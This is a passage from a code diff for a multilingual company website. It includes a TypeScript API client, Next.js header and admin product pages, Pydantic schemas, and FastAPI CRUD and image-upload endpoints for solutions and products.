adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/downloads/admin/${id}`, {
method: "DELETE",
token,
}),
adminUpload: async (file: File, fileType: string = "file", token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/downloads/admin/upload?file_type=${fileType}`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminGetRequests: (token: string, newsletterOnly: boolean = false) =>
fetchApi<DownloadRequest[]>(`/downloads/admin/requests?newsletter_only=${newsletterOnly}`, { token }),
adminGetStats: (token: string) =>
fetchApi<{ total_requests: number; newsletter_subscribers: number; unique_emails: number }>(
"/downloads/admin/requests/stats",
{ token }
),
};
// Content Videos API (YouTube)
export interface ContentVideo {
id: number;
youtube_id: string;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
entity_type: "project" | "solution" | "product";
entity_id: number;
display_order: number;
is_active: boolean;
youtube_url: string;
youtube_embed_url: string;
thumbnail_url: string;
created_at?: string;
updated_at?: string;
}
export interface ContentVideoPublic {
id: number;
youtube_id: string;
title: string;
description?: string;
youtube_url: string;
youtube_embed_url: string;
thumbnail_url: string;
display_order: number;
}
export interface ContentVideoCreate {
youtube_id: string;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
entity_type: "project" | "solution" | "product";
entity_id: number;
display_order?: number;
is_active?: boolean;
}
export const contentVideosApi = {
// Public
getForEntity: (entityType: string, entityId: number, locale: string = "ko") =>
fetchApi<ContentVideoPublic[]>(
`/content-videos/entity/${entityType}/${entityId}?locale=${locale}`
),
// Admin
adminList: (token: string, entityType?: string, entityId?: number) => {
const params = new URLSearchParams();
if (entityType) params.append("entity_type", entityType);
if (entityId) params.append("entity_id", entityId.toString());
const query = params.toString();
return fetchApi<ContentVideo[]>(
`/content-videos/admin/list${query ? "?" + query : ""}`,
{ token }
);
},
adminGet: (id: number, token: string) =>
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, { token }),
adminCreate: (data: ContentVideoCreate, token: string) =>
fetchApi<ContentVideo>("/content-videos/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<ContentVideoCreate>, token: string) =>
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/content-videos/admin/${id}`, {
method: "DELETE",
token,
}),
adminReorder: (entityType: string, entityId: number, videoIds: number[], token: string) =>
fetchApi<{ message: string }>(
`/content-videos/admin/reorder?entity_type=${entityType}&entity_id=${entityId}`,
{
method: "PUT",
body: JSON.stringify(videoIds),
token,
}
),
};

153
temp_header.tsx Normal file
View File

@@ -0,0 +1,153 @@
"use client";
import { useState, useEffect } from "react";
import Link from "next/link";
import { useRouter, usePathname } from "next/navigation";
import { Menu, X } from "lucide-react";
import { useLanguage } from "@/contexts/LanguageContext";
import LanguageSelector from "./LanguageSelector";
export default function Header() {
const { t } = useLanguage();
const router = useRouter();
const pathname = usePathname();
const [isScrolled, setIsScrolled] = useState(false);
const [isMobileMenuOpen, setIsMobileMenuOpen] = useState(false);
const navItems = [
{ name: t("nav", "about"), href: "/#about" },
{ name: t("nav", "technology"), href: "/#technology" },
{ name: t("nav", "projects"), href: "/#projects" },
{ name: t("nav", "solutions"), href: "/#solutions" },
{ name: t("nav", "products"), href: "/#products" },
{ name: t("nav", "downloads"), href: "/downloads" },
{ name: t("nav", "contact"), href: "/#contact" },
];
useEffect(() => {
const handleScroll = () => {
setIsScrolled(window.scrollY > 50);
};
window.addEventListener("scroll", handleScroll);
return () => window.removeEventListener("scroll", handleScroll);
}, []);
// Handle hash scroll after navigation
useEffect(() => {
if (pathname === "/" && window.location.hash) {
const hash = window.location.hash.substring(1);
setTimeout(() => {
const element = document.getElementById(hash);
if (element) {
element.scrollIntoView({ behavior: "smooth" });
}
}, 100);
}
}, [pathname]);
const handleNavClick = (e: React.MouseEvent<HTMLAnchorElement>, href: string) => {
// If it's not a hash link, let it navigate normally
if (!href.includes("#")) {
return;
}
e.preventDefault();
const hash = href.split("#")[1];
if (pathname === "/") {
// Already on homepage, just scroll
const element = document.getElementById(hash);
if (element) {
element.scrollIntoView({ behavior: "smooth" });
}
} else {
// Navigate to homepage first, then scroll
router.push(href);
}
setIsMobileMenuOpen(false);
};
return (
<header
className={`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${
isScrolled
? "bg-white/95 backdrop-blur-sm shadow-md"
: "bg-transparent"
}`}
>
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div className="flex items-center justify-between h-16 md:h-20">
{/* Logo */}
<Link href="/" className="flex items-center space-x-2">
<span
className={`text-2xl font-bold transition-colors ${
isScrolled ? "text-[#1E3A8A]" : "text-white"
}`}
>
GRANTECH
</span>
</Link>
{/* Desktop Navigation */}
<nav className="hidden md:flex items-center space-x-6">
{navItems.map((item) => (
<a
key={item.href}
href={item.href}
onClick={(e) => handleNavClick(e, item.href)}
className={`text-sm font-medium transition-colors hover:text-[#3B82F6] ${
isScrolled ? "text-gray-700" : "text-white"
}`}
>
{item.name}
</a>
))}
<LanguageSelector isScrolled={isScrolled} />
</nav>
{/* Mobile Menu Button */}
<div className="flex items-center md:hidden space-x-2">
<LanguageSelector isScrolled={isScrolled} />
<button
className="p-2"
onClick={() => setIsMobileMenuOpen(!isMobileMenuOpen)}
>
{isMobileMenuOpen ? (
<X
className={`w-6 h-6 ${
isScrolled ? "text-gray-700" : "text-white"
}`}
/>
) : (
<Menu
className={`w-6 h-6 ${
isScrolled ? "text-gray-700" : "text-white"
}`}
/>
)}
</button>
</div>
</div>
{/* Mobile Menu */}
{isMobileMenuOpen && (
<div className="md:hidden bg-white border-t">
<nav className="py-4 space-y-2">
{navItems.map((item) => (
<a
key={item.href}
href={item.href}
onClick={(e) => handleNavClick(e, item.href)}
className="block px-4 py-2 text-gray-700 hover:bg-gray-50 hover:text-[#3B82F6]"
>
{item.name}
</a>
))}
</nav>
</div>
)}
</div>
</header>
);
}

207
temp_products_edit_page.tsx Normal file
View File

@@ -0,0 +1,207 @@
"use client";
import { useEffect, useState } from "react";
import { useRouter, useParams } from "next/navigation";
import { useAuth } from "@/contexts/AuthContext";
import { productsApi, ProductAdmin, getUploadUrl } from "@/lib/api";
import ProductForm from "@/components/admin/ProductForm";
import { Loader2, Upload, Trash2 } from "lucide-react";
import YouTubeVideoManager from "@/components/admin/YouTubeVideoManager";
export default function EditProductPage() {
const { token } = useAuth();
const router = useRouter();
const params = useParams();
const productId = Number(params.id);
const [product, setProduct] = useState<ProductAdmin | null>(null);
const [isLoading, setIsLoading] = useState(true);
const [isSubmitting, setIsSubmitting] = useState(false);
const [isUploading, setIsUploading] = useState(false);
const fetchProduct = async () => {
if (!token) return;
try {
const data = await productsApi.adminGetOne(productId, token);
setProduct(data);
} catch (err) {
alert("제품을 찾을 수 없습니다.");
router.push("/admin/products");
} finally {
setIsLoading(false);
}
};
useEffect(() => {
fetchProduct();
}, [token, productId]);
const handleSubmit = async (data: any) => {
if (!token) return;
setIsSubmitting(true);
try {
await productsApi.adminUpdate(productId, data, token);
alert("저장되었습니다.");
fetchProduct();
} catch (err) {
alert("저장에 실패했습니다.");
} finally {
setIsSubmitting(false);
}
};
const handleImageUpload = async (
e: React.ChangeEvent<HTMLInputElement>,
isMain: boolean
) => {
if (!token || !e.target.files?.[0]) return;
setIsUploading(true);
try {
await productsApi.adminUploadImage(
productId,
e.target.files[0],
isMain,
token
);
fetchProduct();
} catch (err) {
alert("이미지 업로드에 실패했습니다.");
} finally {
setIsUploading(false);
e.target.value = "";
}
};
const handleDeleteImage = async (imageId: number) => {
if (!token || !confirm("이미지를 삭제하시겠습니까?")) return;
try {
await productsApi.adminDeleteImage(imageId, token);
fetchProduct();
} catch (err) {
alert("이미지 삭제에 실패했습니다.");
}
};
if (isLoading) {
return (
<div className="flex items-center justify-center h-64">
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
</div>
);
}
if (!product) return null;
return (
<div>
<h1 className="text-2xl font-bold text-gray-900 mb-8"> </h1>
<div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
{/* Form */}
<div className="lg:col-span-2">
<ProductForm
initialData={product}
onSubmit={handleSubmit}
isSubmitting={isSubmitting}
/>
</div>
{/* Image Upload */}
<div className="space-y-6">
{/* Main Image */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4"> </h3>
{product.main_image ? (
<div className="relative">
<img
src={getUploadUrl(product.main_image)}
alt="Main"
className="w-full h-48 object-cover rounded-lg"
/>
<label className="absolute bottom-2 right-2 px-3 py-1.5 bg-white/90 text-sm font-medium rounded-lg cursor-pointer hover:bg-white transition-colors">
<input
type="file"
accept="image/*"
className="hidden"
onChange={(e) => handleImageUpload(e, true)}
disabled={isUploading}
/>
</label>
</div>
) : (
<label className="flex flex-col items-center justify-center h-48 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
{isUploading ? (
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
) : (
<>
<Upload className="w-8 h-8 text-gray-400 mb-2" />
<span className="text-sm text-gray-500">
</span>
</>
)}
<input
type="file"
accept="image/*"
className="hidden"
onChange={(e) => handleImageUpload(e, true)}
disabled={isUploading}
/>
</label>
)}
</div>
{/* Additional Images */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4"> </h3>
<div className="grid grid-cols-2 gap-3 mb-4">
{product.images?.map((img) => (
<div key={img.id} className="relative group">
<img
src={getUploadUrl(img.image_url)}
alt=""
className="w-full h-24 object-cover rounded-lg"
/>
<button
onClick={() => handleDeleteImage(img.id)}
className="absolute top-1 right-1 p-1 bg-red-500 text-white rounded opacity-0 group-hover:opacity-100 transition-opacity"
>
<Trash2 className="w-4 h-4" />
</button>
</div>
))}
</div>
<label className="flex items-center justify-center py-3 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
{isUploading ? (
<Loader2 className="w-5 h-5 animate-spin text-[#3B82F6]" />
) : (
<>
<Upload className="w-5 h-5 text-gray-400 mr-2" />
<span className="text-sm text-gray-500"> </span>
</>
)}
<input
type="file"
accept="image/*"
className="hidden"
onChange={(e) => handleImageUpload(e, false)}
disabled={isUploading}
/>
</label>
</div>
{/* YouTube Videos */}
<YouTubeVideoManager
entityType="product"
entityId={productId}
entityTitle={product.name_ko}
/>
</div>
</div>
</div>
);
}

204
temp_products_list_page.tsx Normal file
View File

@@ -0,0 +1,204 @@
"use client";
import { useEffect, useState } from "react";
import Link from "next/link";
import { useAuth } from "@/contexts/AuthContext";
import { productsApi, ProductAdmin, getUploadUrl } from "@/lib/api";
import {
Plus,
Pencil,
Trash2,
Eye,
EyeOff,
Loader2,
Image as ImageIcon,
} from "lucide-react";
export default function ProductsListPage() {
const { token } = useAuth();
const [products, setProducts] = useState<ProductAdmin[]>([]);
const [isLoading, setIsLoading] = useState(true);
const fetchProducts = async () => {
if (!token) return;
try {
const data = await productsApi.adminGetAll(token);
setProducts(data);
} catch (err) {
console.error("Failed to fetch products:", err);
} finally {
setIsLoading(false);
}
};
useEffect(() => {
fetchProducts();
}, [token]);
const handleDelete = async (id: number) => {
if (!token || !confirm("정말 삭제하시겠습니까?")) return;
try {
await productsApi.adminDelete(id, token);
setProducts(products.filter((p) => p.id !== id));
} catch (err) {
alert("삭제에 실패했습니다.");
}
};
const toggleActive = async (product: ProductAdmin) => {
if (!token) return;
try {
await productsApi.adminUpdate(
product.id,
{ is_active: !product.is_active },
token
);
setProducts(
products.map((p) =>
p.id === product.id ? { ...p, is_active: !p.is_active } : p
)
);
} catch (err) {
alert("상태 변경에 실패했습니다.");
}
};
if (isLoading) {
return (
<div className="flex items-center justify-center h-64">
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
</div>
);
}
return (
<div>
<div className="flex items-center justify-between mb-8">
<h1 className="text-2xl font-bold text-gray-900"> </h1>
<Link
href="/admin/products/new"
className="flex items-center px-4 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors"
>
<Plus className="w-5 h-5 mr-2" />
</Link>
</div>
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<table className="w-full">
<thead className="bg-gray-50 border-b">
<tr>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-right text-sm font-medium text-gray-500">
</th>
</tr>
</thead>
<tbody className="divide-y">
{products.length === 0 ? (
<tr>
<td colSpan={7} className="px-6 py-12 text-center text-gray-500">
.
</td>
</tr>
) : (
products.map((product) => (
<tr key={product.id} className="hover:bg-gray-50">
<td className="px-6 py-4">
{product.main_image ? (
<img
src={getUploadUrl(product.main_image)}
alt={product.name_ko}
className="w-16 h-12 object-cover rounded"
/>
) : (
<div className="w-16 h-12 bg-gray-100 rounded flex items-center justify-center">
<ImageIcon className="w-5 h-5 text-gray-400" />
</div>
)}
</td>
<td className="px-6 py-4">
<div className="font-medium text-gray-900">
{product.name_ko}
</div>
{product.name_en && (
<div className="text-sm text-gray-500">
{product.name_en}
</div>
)}
</td>
<td className="px-6 py-4 text-sm text-gray-600">
{product.category_ko || "-"}
</td>
<td className="px-6 py-4 text-sm text-gray-600">
{product.icon || "-"}
</td>
<td className="px-6 py-4 text-sm text-gray-600">
{product.display_order}
</td>
<td className="px-6 py-4">
<button
onClick={() => toggleActive(product)}
className={`flex items-center px-3 py-1 rounded-full text-xs font-medium ${
product.is_active
? "bg-green-100 text-green-700"
: "bg-gray-100 text-gray-500"
}`}
>
{product.is_active ? (
<>
<Eye className="w-3 h-3 mr-1" />
</>
) : (
<>
<EyeOff className="w-3 h-3 mr-1" />
</>
)}
</button>
</td>
<td className="px-6 py-4">
<div className="flex items-center justify-end space-x-2">
<Link
href={`/admin/products/${product.id}`}
className="p-2 text-gray-400 hover:text-[#3B82F6] transition-colors"
>
<Pencil className="w-5 h-5" />
</Link>
<button
onClick={() => handleDelete(product.id)}
className="p-2 text-gray-400 hover:text-red-500 transition-colors"
>
<Trash2 className="w-5 h-5" />
</button>
</div>
</td>
</tr>
))
)}
</tbody>
</table>
</div>
</div>
);
}

View File

@@ -0,0 +1,34 @@
"use client";
import { useState } from "react";
import { useRouter } from "next/navigation";
import { useAuth } from "@/contexts/AuthContext";
import { productsApi } from "@/lib/api";
import ProductForm from "@/components/admin/ProductForm";
export default function NewProductPage() {
const { token } = useAuth();
const router = useRouter();
const [isSubmitting, setIsSubmitting] = useState(false);
const handleSubmit = async (data: any) => {
if (!token) return;
setIsSubmitting(true);
try {
const product = await productsApi.adminCreate(data, token);
router.push(`/admin/products/${product.id}`);
} catch (err) {
alert("제품 생성에 실패했습니다.");
} finally {
setIsSubmitting(false);
}
};
return (
<div>
<h1 className="text-2xl font-bold text-gray-900 mb-8"> </h1>
<ProductForm onSubmit={handleSubmit} isSubmitting={isSubmitting} />
</div>
);
}

198
temp_solution_schemas.py Normal file
View File

@@ -0,0 +1,198 @@
from pydantic import BaseModel
from datetime import datetime
from typing import Optional, List, Any
# ==================== Image Schemas ====================
class ImageResponse(BaseModel):
id: int
image_url: str
caption: Optional[str] = None
class Config:
from_attributes = True
# ==================== Solution Schemas ====================
class SolutionBase(BaseModel):
title_ko: str
title_en: Optional[str] = None
title_ja: Optional[str] = None
title_zh: Optional[str] = None
subtitle_ko: Optional[str] = None
subtitle_en: Optional[str] = None
subtitle_ja: Optional[str] = None
subtitle_zh: Optional[str] = None
description_ko: Optional[str] = None
description_en: Optional[str] = None
description_ja: Optional[str] = None
description_zh: Optional[str] = None
features_ko: Optional[str] = None
features_en: Optional[str] = None
features_ja: Optional[str] = None
features_zh: Optional[str] = None
icon: Optional[str] = None
color: Optional[str] = None
main_image: Optional[str] = None
is_active: bool = True
display_order: int = 0
class SolutionCreate(SolutionBase):
pass
class SolutionUpdate(BaseModel):
title_ko: Optional[str] = None
title_en: Optional[str] = None
title_ja: Optional[str] = None
title_zh: Optional[str] = None
subtitle_ko: Optional[str] = None
subtitle_en: Optional[str] = None
subtitle_ja: Optional[str] = None
subtitle_zh: Optional[str] = None
description_ko: Optional[str] = None
description_en: Optional[str] = None
description_ja: Optional[str] = None
description_zh: Optional[str] = None
features_ko: Optional[str] = None
features_en: Optional[str] = None
features_ja: Optional[str] = None
features_zh: Optional[str] = None
icon: Optional[str] = None
color: Optional[str] = None
main_image: Optional[str] = None
is_active: Optional[bool] = None
display_order: Optional[int] = None
class SolutionImageResponse(BaseModel):
id: int
image_url: str
caption_ko: Optional[str] = None
caption_en: Optional[str] = None
caption_ja: Optional[str] = None
caption_zh: Optional[str] = None
display_order: int = 0
class Config:
from_attributes = True
class SolutionResponse(SolutionBase):
id: int
created_at: datetime
updated_at: datetime
images: List[SolutionImageResponse] = []
class Config:
from_attributes = True
class SolutionLocalizedResponse(BaseModel):
id: int
title: str
subtitle: Optional[str]
description: Optional[str]
features: List[str]
icon: Optional[str]
color: Optional[str]
main_image: Optional[str]
images: List[Any] = []
class Config:
from_attributes = True
# ==================== Product Schemas ====================
class ProductBase(BaseModel):
name_ko: str
name_en: Optional[str] = None
name_ja: Optional[str] = None
name_zh: Optional[str] = None
category_ko: Optional[str] = None
category_en: Optional[str] = None
category_ja: Optional[str] = None
category_zh: Optional[str] = None
description_ko: Optional[str] = None
description_en: Optional[str] = None
description_ja: Optional[str] = None
description_zh: Optional[str] = None
detail_ko: Optional[str] = None
detail_en: Optional[str] = None
detail_ja: Optional[str] = None
detail_zh: Optional[str] = None
specifications: Optional[str] = None
icon: Optional[str] = None
main_image: Optional[str] = None
is_active: bool = True
display_order: int = 0
class ProductCreate(ProductBase):
pass
class ProductUpdate(BaseModel):
name_ko: Optional[str] = None
name_en: Optional[str] = None
name_ja: Optional[str] = None
name_zh: Optional[str] = None
category_ko: Optional[str] = None
category_en: Optional[str] = None
category_ja: Optional[str] = None
category_zh: Optional[str] = None
description_ko: Optional[str] = None
description_en: Optional[str] = None
description_ja: Optional[str] = None
description_zh: Optional[str] = None
detail_ko: Optional[str] = None
detail_en: Optional[str] = None
detail_ja: Optional[str] = None
detail_zh: Optional[str] = None
specifications: Optional[str] = None
icon: Optional[str] = None
main_image: Optional[str] = None
is_active: Optional[bool] = None
display_order: Optional[int] = None
class ProductImageResponse(BaseModel):
id: int
image_url: str
caption_ko: Optional[str] = None
caption_en: Optional[str] = None
caption_ja: Optional[str] = None
caption_zh: Optional[str] = None
display_order: int = 0
class Config:
from_attributes = True
class ProductResponse(ProductBase):
id: int
created_at: datetime
updated_at: datetime
images: List[ProductImageResponse] = []
class Config:
from_attributes = True
class ProductLocalizedResponse(BaseModel):
id: int
name: str
category: Optional[str]
description: Optional[str]
detail: Optional[str]
specifications: Optional[str]
icon: Optional[str]
main_image: Optional[str]
images: List[Any] = []
class Config:
from_attributes = True

492
temp_solutions_api.py Normal file
View File

@@ -0,0 +1,492 @@
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File, Query
from sqlalchemy.orm import Session
from typing import List, Optional
import os
import uuid
import aiofiles
from ..core.database import get_db
from ..core.security import get_current_admin
from ..core.config import settings
from ..models.admin import Admin
from ..models.solution import Solution, SolutionImage, Product, ProductImage
from ..schemas.solution import (
SolutionCreate, SolutionUpdate, SolutionResponse, SolutionLocalizedResponse,
ProductCreate, ProductUpdate, ProductResponse, ProductLocalizedResponse
)
router = APIRouter(tags=["solutions"])
ALLOWED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp"}
def get_localized_field(obj, field: str, lang: str) -> Optional[str]:
"""Get localized field value with fallback to Korean"""
localized = getattr(obj, f"{field}_{lang}", None)
if localized:
return localized
return getattr(obj, f"{field}_ko", None)
# ==================== Solution Public Endpoints ====================
@router.get("/solutions/", response_model=List[SolutionLocalizedResponse])
def get_solutions(
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
db: Session = Depends(get_db)
):
"""Get all active solutions (public endpoint)"""
solutions = db.query(Solution).filter(
Solution.is_active == True
).order_by(Solution.display_order.asc()).all()
result = []
for s in solutions:
features_str = get_localized_field(s, "features", lang) or ""
features = [f.strip() for f in features_str.split(",") if f.strip()]
images = [
{
"id": img.id,
"image_url": img.image_url,
"caption": get_localized_field(img, "caption", lang)
}
for img in s.images
] if hasattr(s, 'images') and s.images else []
result.append(SolutionLocalizedResponse(
id=s.id,
title=get_localized_field(s, "title", lang),
subtitle=get_localized_field(s, "subtitle", lang),
description=get_localized_field(s, "description", lang),
features=features,
icon=s.icon,
color=s.color,
main_image=s.main_image,
images=images
))
return result
@router.get("/solutions/{solution_id}", response_model=SolutionLocalizedResponse)
def get_solution(
solution_id: int,
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
db: Session = Depends(get_db)
):
"""Get single solution by ID (public endpoint)"""
solution = db.query(Solution).filter(
Solution.id == solution_id,
Solution.is_active == True
).first()
if not solution:
raise HTTPException(status_code=404, detail="Solution not found")
features_str = get_localized_field(solution, "features", lang) or ""
features = [f.strip() for f in features_str.split(",") if f.strip()]
images = [
{
"id": img.id,
"image_url": img.image_url,
"caption": get_localized_field(img, "caption", lang)
}
for img in solution.images
] if hasattr(solution, 'images') and solution.images else []
return SolutionLocalizedResponse(
id=solution.id,
title=get_localized_field(solution, "title", lang),
subtitle=get_localized_field(solution, "subtitle", lang),
description=get_localized_field(solution, "description", lang),
features=features,
icon=solution.icon,
color=solution.color,
main_image=solution.main_image,
images=images
)
# ==================== Solution Admin Endpoints ====================
@router.get("/solutions/admin/list", response_model=List[SolutionResponse])
def admin_get_solutions(
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Get all solutions (admin only)"""
solutions = db.query(Solution).order_by(Solution.display_order.asc(), Solution.id.desc()).all()
return solutions
@router.get("/solutions/admin/{solution_id}", response_model=SolutionResponse)
def admin_get_solution(
solution_id: int,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Get solution with all fields (admin only)"""
solution = db.query(Solution).filter(Solution.id == solution_id).first()
if not solution:
raise HTTPException(status_code=404, detail="Solution not found")
return solution
@router.post("/solutions/admin", response_model=SolutionResponse)
def create_solution(
solution_data: SolutionCreate,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Create new solution (admin only)"""
solution = Solution(**solution_data.model_dump())
db.add(solution)
db.commit()
db.refresh(solution)
return solution
@router.put("/solutions/admin/{solution_id}", response_model=SolutionResponse)
def update_solution(
solution_id: int,
solution_data: SolutionUpdate,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Update solution (admin only)"""
solution = db.query(Solution).filter(Solution.id == solution_id).first()
if not solution:
raise HTTPException(status_code=404, detail="Solution not found")
update_data = solution_data.model_dump(exclude_unset=True)
for field, value in update_data.items():
setattr(solution, field, value)
db.commit()
db.refresh(solution)
return solution
@router.delete("/solutions/admin/{solution_id}")
def delete_solution(
solution_id: int,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Delete solution (admin only)"""
solution = db.query(Solution).filter(Solution.id == solution_id).first()
if not solution:
raise HTTPException(status_code=404, detail="Solution not found")
# Delete associated images from filesystem
if solution.main_image:
try:
os.remove(solution.main_image)
except:
pass
for img in solution.images:
try:
os.remove(img.image_url)
except:
pass
db.delete(solution)
db.commit()
return {"message": "Solution deleted successfully"}
# ==================== Solution Image Upload ====================
@router.post("/solutions/admin/{solution_id}/upload-image")
async def upload_solution_image(
solution_id: int,
file: UploadFile = File(...),
is_main: bool = Query(False),
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Upload image for solution (admin only)"""
solution = db.query(Solution).filter(Solution.id == solution_id).first()
if not solution:
raise HTTPException(status_code=404, detail="Solution not found")
ext = os.path.splitext(file.filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise HTTPException(status_code=400, detail="File type not allowed")
contents = await file.read()
if len(contents) > settings.MAX_FILE_SIZE:
raise HTTPException(status_code=400, detail="File too large")
filename = f"solution_{uuid.uuid4()}{ext}"
filepath = os.path.join(settings.UPLOAD_DIR, filename)
async with aiofiles.open(filepath, 'wb') as f:
await f.write(contents)
if is_main:
solution.main_image = filepath
db.commit()
else:
new_image = SolutionImage(
solution_id=solution_id,
image_url=filepath,
display_order=len(solution.images) if solution.images else 0
)
db.add(new_image)
db.commit()
return {"message": "Image uploaded successfully", "path": filepath}
@router.delete("/solutions/admin/images/{image_id}")
def delete_solution_image(
image_id: int,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Delete solution image (admin only)"""
image = db.query(SolutionImage).filter(SolutionImage.id == image_id).first()
if not image:
raise HTTPException(status_code=404, detail="Image not found")
try:
os.remove(image.image_url)
except:
pass
db.delete(image)
db.commit()
return {"message": "Image deleted successfully"}
# ==================== Product Public Endpoints ====================
@router.get("/products/", response_model=List[ProductLocalizedResponse])
def get_products(
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
db: Session = Depends(get_db)
):
"""Get all active products (public endpoint)"""
products = db.query(Product).filter(
Product.is_active == True
).order_by(Product.display_order.asc()).all()
result = []
for p in products:
images = [
{
"id": img.id,
"image_url": img.image_url,
"caption": get_localized_field(img, "caption", lang)
}
for img in p.images
] if hasattr(p, 'images') and p.images else []
result.append(ProductLocalizedResponse(
id=p.id,
name=get_localized_field(p, "name", lang),
category=get_localized_field(p, "category", lang),
description=get_localized_field(p, "description", lang),
detail=get_localized_field(p, "detail", lang),
specifications=p.specifications,
icon=p.icon,
main_image=p.main_image,
images=images
))
return result
@router.get("/products/{product_id}", response_model=ProductLocalizedResponse)
def get_product(
product_id: int,
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
db: Session = Depends(get_db)
):
"""Get single product by ID (public endpoint)"""
product = db.query(Product).filter(
Product.id == product_id,
Product.is_active == True
).first()
if not product:
raise HTTPException(status_code=404, detail="Product not found")
images = [
{
"id": img.id,
"image_url": img.image_url,
"caption": get_localized_field(img, "caption", lang)
}
for img in product.images
] if hasattr(product, 'images') and product.images else []
return ProductLocalizedResponse(
id=product.id,
name=get_localized_field(product, "name", lang),
category=get_localized_field(product, "category", lang),
description=get_localized_field(product, "description", lang),
detail=get_localized_field(product, "detail", lang),
specifications=product.specifications,
icon=product.icon,
main_image=product.main_image,
images=images
)
# ==================== Product Admin Endpoints ====================
@router.get("/products/admin/list", response_model=List[ProductResponse])
def admin_get_products(
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Get all products (admin only)"""
products = db.query(Product).order_by(Product.display_order.asc(), Product.id.desc()).all()
return products
@router.get("/products/admin/{product_id}", response_model=ProductResponse)
def admin_get_product(
product_id: int,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Get product with all fields (admin only)"""
product = db.query(Product).filter(Product.id == product_id).first()
if not product:
raise HTTPException(status_code=404, detail="Product not found")
return product
@router.post("/products/admin", response_model=ProductResponse)
def create_product(
product_data: ProductCreate,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Create new product (admin only)"""
product = Product(**product_data.model_dump())
db.add(product)
db.commit()
db.refresh(product)
return product
@router.put("/products/admin/{product_id}", response_model=ProductResponse)
def update_product(
product_id: int,
product_data: ProductUpdate,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Update product (admin only)"""
product = db.query(Product).filter(Product.id == product_id).first()
if not product:
raise HTTPException(status_code=404, detail="Product not found")
update_data = product_data.model_dump(exclude_unset=True)
for field, value in update_data.items():
setattr(product, field, value)
db.commit()
db.refresh(product)
return product
@router.delete("/products/admin/{product_id}")
def delete_product(
product_id: int,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Delete product (admin only)"""
product = db.query(Product).filter(Product.id == product_id).first()
if not product:
raise HTTPException(status_code=404, detail="Product not found")
# Delete associated images from filesystem
if product.main_image:
try:
os.remove(product.main_image)
except:
pass
for img in product.images:
try:
os.remove(img.image_url)
except:
pass
db.delete(product)
db.commit()
return {"message": "Product deleted successfully"}
# ==================== Product Image Upload ====================
@router.post("/products/admin/{product_id}/upload-image")
async def upload_product_image(
product_id: int,
file: UploadFile = File(...),
is_main: bool = Query(False),
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Upload image for product (admin only)"""
product = db.query(Product).filter(Product.id == product_id).first()
if not product:
raise HTTPException(status_code=404, detail="Product not found")
ext = os.path.splitext(file.filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise HTTPException(status_code=400, detail="File type not allowed")
contents = await file.read()
if len(contents) > settings.MAX_FILE_SIZE:
raise HTTPException(status_code=400, detail="File too large")
filename = f"product_{uuid.uuid4()}{ext}"
filepath = os.path.join(settings.UPLOAD_DIR, filename)
async with aiofiles.open(filepath, 'wb') as f:
await f.write(contents)
if is_main:
product.main_image = filepath
db.commit()
else:
